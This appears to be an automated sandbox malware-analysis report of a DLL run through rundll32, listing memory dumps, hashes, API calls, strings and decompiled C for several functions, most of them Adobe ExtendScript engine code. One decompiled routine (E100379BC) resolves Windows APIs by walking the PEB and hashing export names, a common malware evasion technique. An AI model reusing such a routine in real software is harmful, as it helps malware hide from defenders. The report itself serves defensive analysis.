0x1002ba90
0x1002ba97
0x1002ba9a
0x1002ba9d
0x1002baa4
0x1002baa4
0x1002ba9f
0x1002ba9f
0x1002ba9f
0x1002baae
0x1002bab6
0x1002bab9
0x1002baba
0x1002babd
0x1002bac2
0x00000000
0x00000000
0x1002ba80
0x1002ba80
0x1002bac4
0x00000000
0x1002bac4

APIs

ladd@DataPool@ScScript@@QAEHI@Z.MAIN(?), ref: 1002BBAC
ladd@DataPool@ScScript@@QAEHI@Z.MAIN(?,00000000), ref: 1002BC2E

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@ladd@
String ID:
API String ID: 1005944317-0
Opcode ID: ed7270d6c28a2e77003ad8dc0035cab776c16d7318323462f7c9c1072e199e8e
Instruction ID: 26d58502d2ff1a3d8823a9d72cb9db96c3866e3e6b50188e26701eaa38f108d7
Opcode Fuzzy Hash: ed7270d6c28a2e77003ad8dc0035cab776c16d7318323462f7c9c1072e199e8e
Instruction Fuzzy Hash: D0A15931A00A16DFCB04CFA9D895A5EB7B1FF48310FA18669D819A7745D770FE80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00FC2297 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.392104816.0000000000FC0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_fc0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93595047f312186efd7a5b91eda0a81a5a094c7b231a5275a9eb6cbe4bb1e3f2
Instruction ID: 8296580c365efc1554bad3a80e35637ec80b3166eb302d3d7a1e5a800e80b2eb
Opcode Fuzzy Hash: 93595047f312186efd7a5b91eda0a81a5a094c7b231a5275a9eb6cbe4bb1e3f2
Instruction Fuzzy Hash: 5B411675E0410ADFCB98DF98CA82FADB7B1FB08310F644059E902A7352D735AE81EB54

Uniqueness

Uniqueness Score: -1.00%

Function 100379BC Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E100379BC(intOrPtr _a4) {
				short _v8;
				intOrPtr _v12;
				signed char* _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr* _t68;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t72;
				signed int _t73;
				signed int _t74;
				intOrPtr _t75;
				intOrPtr _t76;
				signed int _t78;
				intOrPtr _t79;
				intOrPtr _t80;
				signed int _t82;
				void* _t83;
				intOrPtr _t85;
				signed char* _t86;
				intOrPtr _t87;
				intOrPtr _t88;
				signed char* _t89;
				signed int _t93;
				intOrPtr _t95;
				void* _t96;
				short _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				void* _t100;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				signed char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				signed int _t117;
				signed int _t122;
				signed int _t124;
				signed char* _t125;
				intOrPtr _t128;

				_t65 =  *[fs:0x30];
				_v36 = _t65;
				_t66 = _v36;
				_t41 = _t66 + 0xc; // 0x6338bbb
				_t68 =  *((intOrPtr*)( *_t41 + 0xc));
				_t70 =  *((intOrPtr*)( *_t68));
				_v12 = _t70;
				_t71 = _v12;
				_t72 =  *((intOrPtr*)(_t71 + 0x18));
				_t113 = _v12;
				_t115 =  *((intOrPtr*)(_t113 + 0x18)) +  *((intOrPtr*)(_t72 + 0x3c));
				_v40 = _t115;
				_push(8);
				_pop(_t73);
				_t74 = _t73 * 0;
				_t75 =  *((intOrPtr*)(_v40 + _t74 + 0x78));
				_v44 = _t75;
				_t76 = _v12;
				_t78 =  *((intOrPtr*)(_t76 + 0x18)) + _v44;
				_v28 = _t78;
				_t79 = _v12;
				_t80 =  *((intOrPtr*)(_t79 + 0x18));
				_t117 = _v28;
				_v32 = _t80 +  *((intOrPtr*)(_t117 + 0x20));
				_v24 = _v24 & 0x00000000;
				while(1) {
					L13:
					_t82 = _v28;
					if(_v24 >=  *((intOrPtr*)(_t82 + 0x18))) {
						_t83 = 0;
						L37:
						return _t83;
					}
					_t85 =  *_v32;
					_t86 = _t85 +  *((intOrPtr*)(_v12 + 0x18));
					_v16 = _t86;
					_t87 = _v32;
					_t88 = _t87 + 4;
					_v32 = _t88;
					_v20 = _v20 & 0x00000000;
					while(1) {
						_t89 = _v16;
						L42:
						if( *_t89 == 0) {
							if(_v20 != _a4) {
								_t93 = _v24 + 1;
								_v24 = _t93;
								goto L13;
							}
							_t95 =  *((intOrPtr*)(_v12 + 0x18));
							_t96 = _t95 +  *((intOrPtr*)(_v28 + 0x24));
							_t97 =  *((intOrPtr*)(_t96 + _v24 * 2));
							_v8 = _t97;
							_t98 = _v12;
							_t99 =  *((intOrPtr*)(_t98 + 0x18));
							_t122 = _v28;
							_t100 = _t99 +  *((intOrPtr*)(_t122 + 0x1c));
							asm("sbb al, 0xf");
							asm("cld");
							_t128 =  *((intOrPtr*)(_v12 + 0x18));
							_t83 = _t128 +  *((intOrPtr*)(_t100 + _t122 * 4));
							goto L37;
						}
						_t102 = _v20 >> 0xd;
						_t124 = _v20 << 0x13;
						_t103 = _t102 | _t124;
						_t125 = _v16;
						_t104 = _t103 + ( *_t125 & 0x000000ff);
						_v20 = _t104;
						_t105 = _v16;
						_v16 = _t105 + 1;
						_t89 = _v16;
						goto L42;
					}
				}
			}

0x10037aa7
0x10037a80
0x10037a83
0x10037ab7
0x10037aba
0x10037aa0
0x10037a8e
0x10037a91
0x10037aaf
0x10037ab2
0x10037a99
0x10037a76
0x10037a8b
0x10037aec
0x10037aed
0x10037b1c
0x10037b02
0x10037b05
0x10037af5
0x10037afa
0x10037afd
0x10037b11
0x10037b14
0x10037b37
0x10037b27
0x10037a1e
0x10037a1e
0x10037a1e
0x10037adc
0x10037ac4
0x10037ac6
0x00000000
0x10037ac6
0x10037b0d
0x10037b3f
0x100379c9
0x100379cc
0x10037a09
0x100379e0
0x10037a69
0x10037a6c
0x10037a6c
0x10037ae0
0x10037ae5
0x10037acf
0x10037a18
0x10037a1b
0x00000000
0x10037a1b
0x100379db
0x10037a4a
0x10037a5b
0x10037a35
0x10037a39
0x10037a4f
0x10037a52
0x10037a3e
0x10037a40
0x10037a44
0x10037a64
0x10037a29
0x00000000
0x10037a29
0x100379c4
0x100379ed
0x100379f2
0x100379f4
0x100379d4
0x10037a0d
0x10037a10
0x100379fa
0x10037a6c
0x00000000
0x10037a6f
0x10037a6c

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbd5d4a196591b0cdcf81eb82632fe27049270d87f60bbb173da13c807de43c7
Instruction ID: bc992d828bcadf9119546c462a3af5da3d68547530a531ad507b8ebe7e66f691
Opcode Fuzzy Hash: cbd5d4a196591b0cdcf81eb82632fe27049270d87f60bbb173da13c807de43c7
Instruction Fuzzy Hash: B321C674A08909DFCB7ACF48C490A9DBBF0FB88316F200095D909AF711D330AE41EB52

Uniqueness

Uniqueness Score: -1.00%

Function 100298B0 Relevance: 45.8, APIs: 2, Strings: 24, Instructions: 339
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lgetProfilerData@DebugAPI@ScScript@@QAEXPAV?$TSimpleArray@VProfilerData@ScScript@@@ScCore@@_N@Z.MAIN(00000000,00000001), ref: 10029A51

Part of subcall function 10027930: lgetProfilerData@DebugAPI@ScScript@@QAEXPAV?$TSimpleArray@VProfilerData@ScScript@@@ScCore@@_N@Z.MAIN(000000FF,100296F9), ref: 10027974

Strings

get-map, xrefs: 10029AA3
continue, xrefs: 10029B5E
get-dictionaries, xrefs: 10029A5B
stepover, xrefs: 10029BEE
get-dictionary, xrefs: 10029A7B
breakpoints, xrefs: 100299B7
stepout, xrefs: 10029C12
stepinto, xrefs: 10029BCA
eval, xrefs: 10029979
halt, xrefs: 10029BA6
break, xrefs: 10029B82
get-breakpoints, xrefs: 1002999C
set-frame, xrefs: 10029B3B
get-profiling, xrefs: 100299D8
@engine, xrefs: 10029C8A
get-package, xrefs: 10029ACB
get-properties, xrefs: 1002992B
tofront, xrefs: 10029C56
@erase, xrefs: 100299EA
get-break, xrefs: 10029AF3
get-info, xrefs: 10029915
get-frame, xrefs: 10029B19
print, xrefs: 10029C36
clear-profiling, xrefs: 10029A39

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Data@Profiler$Array@Core@@_DebugScript@@Script@@@Simplelget
String ID: @engine$@erase$break$breakpoints$clear-profiling$continue$eval$get-break$get-breakpoints$get-dictionaries$get-dictionary$get-frame$get-info$get-map$get-package$get-profiling$get-properties$halt$print$set-frame$stepinto$stepout$stepover$tofront
API String ID: 81518491-1149367273
Opcode ID: cac4382c613e2415e5907f5f46bb261220ae68ebec3c834dda13288e127c20ab
Instruction ID: 88a2494ac9e5e924c2684964eed7a0596d00a45f5877b28c5bafb76748d2c35a
Opcode Fuzzy Hash: cac4382c613e2415e5907f5f46bb261220ae68ebec3c834dda13288e127c20ab
Instruction Fuzzy Hash: D7C14774A04210ABDB10EF15ED95BBEB76FEF11784F80401CF80A57281DB746A8ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 10028510 Relevance: 24.9, APIs: 5, Strings: 9, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lsetDebugLevel@Engine@ScScript@@QAEXH@Z.MAIN(?), ref: 1002870D
lsetProfilingLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000000), ref: 10028738
lgetProfilerData@DebugAPI@ScScript@@QAEXPAV?$TSimpleArray@VProfilerData@ScScript@@@ScCore@@_N@Z.MAIN(00000000,00000001), ref: 1002879D
lsetProfilingLevel@Engine@ScScript@@QAEXH@Z.MAIN(?), ref: 100287C6
lsetDebugLevel@Engine@ScScript@@QAEXH@Z.MAIN(?), ref: 100287D2

Part of subcall function 10026BA0: lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10026C29

Strings

@debug, xrefs: 1002862C
@profiling, xrefs: 10028680
source, xrefs: 10028596
@timeout, xrefs: 10028602
evalresult, xrefs: 1002884F
breakpoints, xrefs: 1002873D
@file, xrefs: 10028568
@flags, xrefs: 10028656
@reset, xrefs: 100286BE

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Engine@Level@lset$Debug$Data@ProfilerProfilinglget$Array@Core@@Core@@_DataPool@Script@@@SimpleString@Symbol@
String ID: @debug$@file$@flags$@profiling$@reset$@timeout$breakpoints$evalresult$source
API String ID: 1546722537-483504609
Opcode ID: c6caf07ed0edbfce8820a975e54f8731e7237633e6ecf2c61e4c8617f2858f3e
Instruction ID: aca06d528868b5552edb4fe929921dbe89fa1a529696def3901a6ac24f2fd46f
Opcode Fuzzy Hash: c6caf07ed0edbfce8820a975e54f8731e7237633e6ecf2c61e4c8617f2858f3e
Instruction Fuzzy Hash: 96F1AB75A00249DFDB04DFA8CC84BEDBBB5FF49300F108158E916A7291DB78AA45CF61

Uniqueness

Uniqueness Score: -1.00%

Function 10027930 Relevance: 23.1, APIs: 3, Strings: 10, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lgetProfilerData@DebugAPI@ScScript@@QAEXPAV?$TSimpleArray@VProfilerData@ScScript@@@ScCore@@_N@Z.MAIN(000000FF,100296F9), ref: 10027974
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10027AC7
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10027B9D

Strings

@time, xrefs: 10027C8F
data, xrefs: 10027BE3
%lu, xrefs: 10027C2D, 10027CC1
function, xrefs: 10027B1C
@hits, xrefs: 10027CD0
profiling, xrefs: 100279AD
@line, xrefs: 10027C3C
@name, xrefs: 10027AAB, 10027B81
%.0lf, xrefs: 10027C80
file, xrefs: 10027A46

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@lget$Core@@DataData@Pool@ProfilerString@Symbol@$Array@Core@@_DebugScript@@@Simple
String ID: %.0lf$%lu$@hits$@line$@name$@time$data$file$function$profiling
API String ID: 2123497740-632933454
Opcode ID: 2842a9403e3c557d1ea235aca04ce729fb6ac161bd2e6440ad1dbbc1b78e8476
Instruction ID: e48eca76656ea69d0f4f4596b2be97dc3dea80bf3d6d1b2a77d744bb7c778745
Opcode Fuzzy Hash: 2842a9403e3c557d1ea235aca04ce729fb6ac161bd2e6440ad1dbbc1b78e8476
Instruction Fuzzy Hash: EDE15A71C00269EFDB05DBE4CD98AEDBBB5FF19310F104249E416A7290DBB46A85CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 100280E0 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lsetDebugLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000001,3A5D9654,00000000,00086E1C,?), ref: 10028116
l?0BreakpointInfo@ScScript@@QAE@XZ.MAIN ref: 100283E9
ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 10028408
lsetBreakpoints@DebugAPI@ScScript@@QAEXPBV?$TSimpleArray@VBreakpointInfo@ScScript@@@ScCore@@@Z.MAIN(000000FF), ref: 10028489

Strings

@enabled, xrefs: 10028298, 10028322
true, xrefs: 100281CD, 1002842C
@hits, xrefs: 100282FC
@line, xrefs: 100282D6
@file, xrefs: 1002821C
@flags, xrefs: 10028121, 1002815F
breakpoint, xrefs: 10028206
@count, xrefs: 1002825A

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$BreakpointDebugInfo@lset$Array@Breakpoints@Core@@@DataEngine@Level@Pool@Script@@@Simpleladd@
String ID: @count$@enabled$@file$@flags$@hits$@line$breakpoint$true
API String ID: 3084473664-1041117054
Opcode ID: f84b441e0b164949958fa83871b63c93d613747d9b0769b907c7392a3cc648d9
Instruction ID: 36e76b362d3c51806e2a64ea286826bde2336e4eb925d75bc3a18ceb1412daec
Opcode Fuzzy Hash: f84b441e0b164949958fa83871b63c93d613747d9b0769b907c7392a3cc648d9
Instruction Fuzzy Hash: 83E18975800259EFEB04EBE5CD98AEDBBB6FF5A310F144049E406A3290DB746B49CF61

Uniqueness

Uniqueness Score: -1.00%

Function 10040DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E10040DD0() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t16;
				intOrPtr* _t25;
				signed int _t27;

				_push(0xffffffff);
				_push(E10065E08);
				_push( *[fs:0x0]);
				_push(_t16);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t27);
				 *[fs:0x0] =  &_v16;
				_t25 = _t16;
				_v20 = _t25;
				E10007260(_t16, "JavaScript");
				_v8 = 0;
				 *_t25 = 0x10071280;
				L10007F30(_t25, "RegExp");
				E100083E0(_t25, 0, 0x10071008);
				 *0x100941d8 = E10003DE0("lastIndex");
				 *0x100941dc = E10003DE0("index");
				 *0x100941e0 = E10003DE0("input");
				 *[fs:0x0] = _v16;
				return _t25;
			}

0x10040dd3
0x10040dd5
0x10040de0
0x10040de1
0x10040de3
0x10040dea
0x10040dee
0x10040df4
0x10040df6
0x10040dfe
0x10040e0a
0x10040e11
0x10040e17
0x10040e25
0x10040e45
0x10040e5a
0x10040e64
0x10040e6e
0x10040e7a

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,10065E08,000000FF,?,10032F6B), ref: 10040DFE
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(RegExp,JavaScript,3A5D9654,00087144,00000000,00000000,10065E08,000000FF), ref: 10040E17

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10071008,JavaScript,3A5D9654,00087144,00000000,00000000,10065E08,000000FF), ref: 10040E25

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(lastIndex,JavaScript,3A5D9654,00087144,00000000,00000000,10065E08,000000FF), ref: 10040E35
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(index,JavaScript,3A5D9654,00087144,00000000,00000000,10065E08,000000FF), ref: 10040E4A
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(input,JavaScript,3A5D9654,00087144,00000000,00000000,10065E08,000000FF), ref: 10040E5F

Strings

JavaScript, xrefs: 10040DF9
RegExp, xrefs: 10040E03
lastIndex, xrefs: 10040E30
input, xrefs: 10040E55
index, xrefs: 10040E40

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Dispatcher@$Class@DataPool@String@ladd@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$RegExp$index$input$lastIndex
API String ID: 3092605441-3870399148
Opcode ID: eda7c781218c3a31ae2b1584cbdef3750e7d6b17c7784ec05f10a022c8ba0fe6
Instruction ID: a758b5c2b5a9ab1a4a9f583afcc2cb4dc2b393ff19fa45c06d339c38d3f76239
Opcode Fuzzy Hash: eda7c781218c3a31ae2b1584cbdef3750e7d6b17c7784ec05f10a022c8ba0fe6
Instruction Fuzzy Hash: A601F575A04124ABE708DFD8CC51F9A7BA9F749640F00811BF519873C0DFB92500CBC8

Uniqueness

Uniqueness Score: -1.00%

Function 10027D80 Relevance: 17.8, APIs: 2, Strings: 8, Instructions: 263
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lgetBreakpoints@DebugAPI@ScScript@@QBEXAAV?$TSimpleArray@VBreakpointInfo@ScScript@@@ScCore@@@Z.MAIN(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 10027E82
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10027F28

Strings

%ld, xrefs: 10027E2D, 10027F58, 10027F99, 10027FDA
breakpoints, xrefs: 10027DC6
@hits, xrefs: 10027FA8
@line, xrefs: 10027F67
@file, xrefs: 10027F08
@flags, xrefs: 10027E43
breakpoint, xrefs: 10027EC6
@count, xrefs: 10027FE9

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@lget$Array@BreakpointBreakpoints@Core@@Core@@@DataDebugInfo@Pool@Script@@@SimpleString@Symbol@
String ID: %ld$@count$@file$@flags$@hits$@line$breakpoint$breakpoints
API String ID: 3420989486-3079359326
Opcode ID: 992ba238e07dc96cd890ce1d4a98493cae861970e6695157235f682d97316b69
Instruction ID: 1073fd4820188c5ee9697112d52393e219854899cd0121927d9ea5da371ee461
Opcode Fuzzy Hash: 992ba238e07dc96cd890ce1d4a98493cae861970e6695157235f682d97316b69
Instruction Fuzzy Hash: F7B1A27190015ADFDB04EFE8CC98AEEBBB5FF19301F104159E516A3290DBB46A49CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 10024110 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E10024110() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t7;
				intOrPtr* _t18;
				intOrPtr* _t28;
				signed int _t30;

				_push(0xffffffff);
				_push(0x10061e76);
				_push( *[fs:0x0]);
				_push(_t18);
				_t7 =  *0x10094144; // 0x3a5d9654
				_push(_t7 ^ _t30);
				 *[fs:0x0] =  &_v16;
				_t28 = _t18;
				_v20 = _t28;
				E10007260(_t18, "JavaScript");
				_v8 = 0;
				 *_t28 = 0x1006e79c;
				 *((intOrPtr*)(_t28 + 0x14)) = 0;
				L10007F30(_t28, "File");
				L10007F30(_t28, "Folder");
				E10008420(_t28, 0, 0x1006e198, "File");
				E10008420(_t28, 0, 0x1006e530, "File");
				E10008420(_t28, 0, 0x1006e198, "Folder");
				E10008420(_t28, 0, 0x1006e3c8, "Folder");
				 *[fs:0x0] = _v16;
				return _t28;
			}

0x10024113
0x10024115
0x10024120
0x10024121
0x10024123
0x1002412a
0x1002412e
0x10024134
0x10024136
0x1002413e
0x1002414a
0x10024151
0x10024157
0x1002415e
0x1002416a
0x1002417d
0x10024190
0x100241a3
0x100241b6
0x100241c0
0x100241cc

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,?,?,?,10061E76,000000FF), ref: 1002413E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(File,JavaScript,3A5D9654,?,?,?,10061E76,000000FF), ref: 1002415E

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Folder,JavaScript,3A5D9654,?,?,?,10061E76,000000FF), ref: 1002416A
lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@PBD@Z.MAIN(00000000,1006E198,File,JavaScript,3A5D9654,?,?,?,10061E76,000000FF), ref: 1002417D

Part of subcall function 10008420: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000,?,?,1005DEEB,000000FF,?,10001542,00000000,?,?), ref: 10008464

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@PBD@Z.MAIN(00000000,1006E530,File,00000000,1006E198,File,JavaScript,3A5D9654,?,?,?,10061E76,000000FF), ref: 10024190
lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@PBD@Z.MAIN(00000000,1006E198,Folder,00000000,1006E530,File,00000000,1006E198,File,JavaScript,3A5D9654,?,?,?,10061E76,000000FF), ref: 100241A3
lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@PBD@Z.MAIN(00000000,1006E3C8,Folder,00000000,1006E198,Folder,00000000,1006E530,File,00000000,1006E198,File,JavaScript,3A5D9654), ref: 100241B6

Strings

File, xrefs: 10024143, 1002416F, 10024182
JavaScript, xrefs: 10024139
Folder, xrefs: 10024163, 10024195, 100241A8

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Entry@2@PropProperties@lregister$Class@ladd$Core@@@String@
String ID: File$Folder$JavaScript
API String ID: 3790487761-727138112
Opcode ID: f872631ea8f9484bc4c75c075d03c51cd0ef4eb82d1fad6c5034dcca696c31ac
Instruction ID: aaedb7a2cee933096383b5c2e3d212fe5ddb4dfb4426512635d5d072259a5489
Opcode Fuzzy Hash: f872631ea8f9484bc4c75c075d03c51cd0ef4eb82d1fad6c5034dcca696c31ac
Instruction Fuzzy Hash: 3501B934B5C7A877E618CB489C12FADB6D6E714B50F00411AF6056B3C5DB757A0043C8

Uniqueness

Uniqueness Score: -1.00%

Function 10014DD0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 397
